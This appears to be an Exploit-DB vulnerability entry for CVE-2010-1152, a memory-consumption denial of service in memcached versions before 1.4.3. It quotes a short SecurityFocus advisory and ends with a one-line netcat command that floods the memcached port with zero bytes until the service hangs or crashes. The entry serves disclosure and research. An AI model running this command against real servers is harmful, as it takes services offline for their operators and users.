memcached 1.4.2 Memory Consumption Remote Denial of Service Vulnerability

2010-04-27T00:00:00
ID EDB-ID:33850
Type exploitdb
Reporter fallenpegasus
Modified 2010-04-27T00:00:00

Description

memcached 1.4.2 Memory Consumption Remote Denial of Service Vulnerability. CVE-2010-1152. Dos exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/39577/info

memcached is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the application to allocate large amount of memory, hanging or crashing the application.

memcached versions prior to 1.4.3 are affected. 

cat /dev/zero | nc -q1 127.0.0.1 11211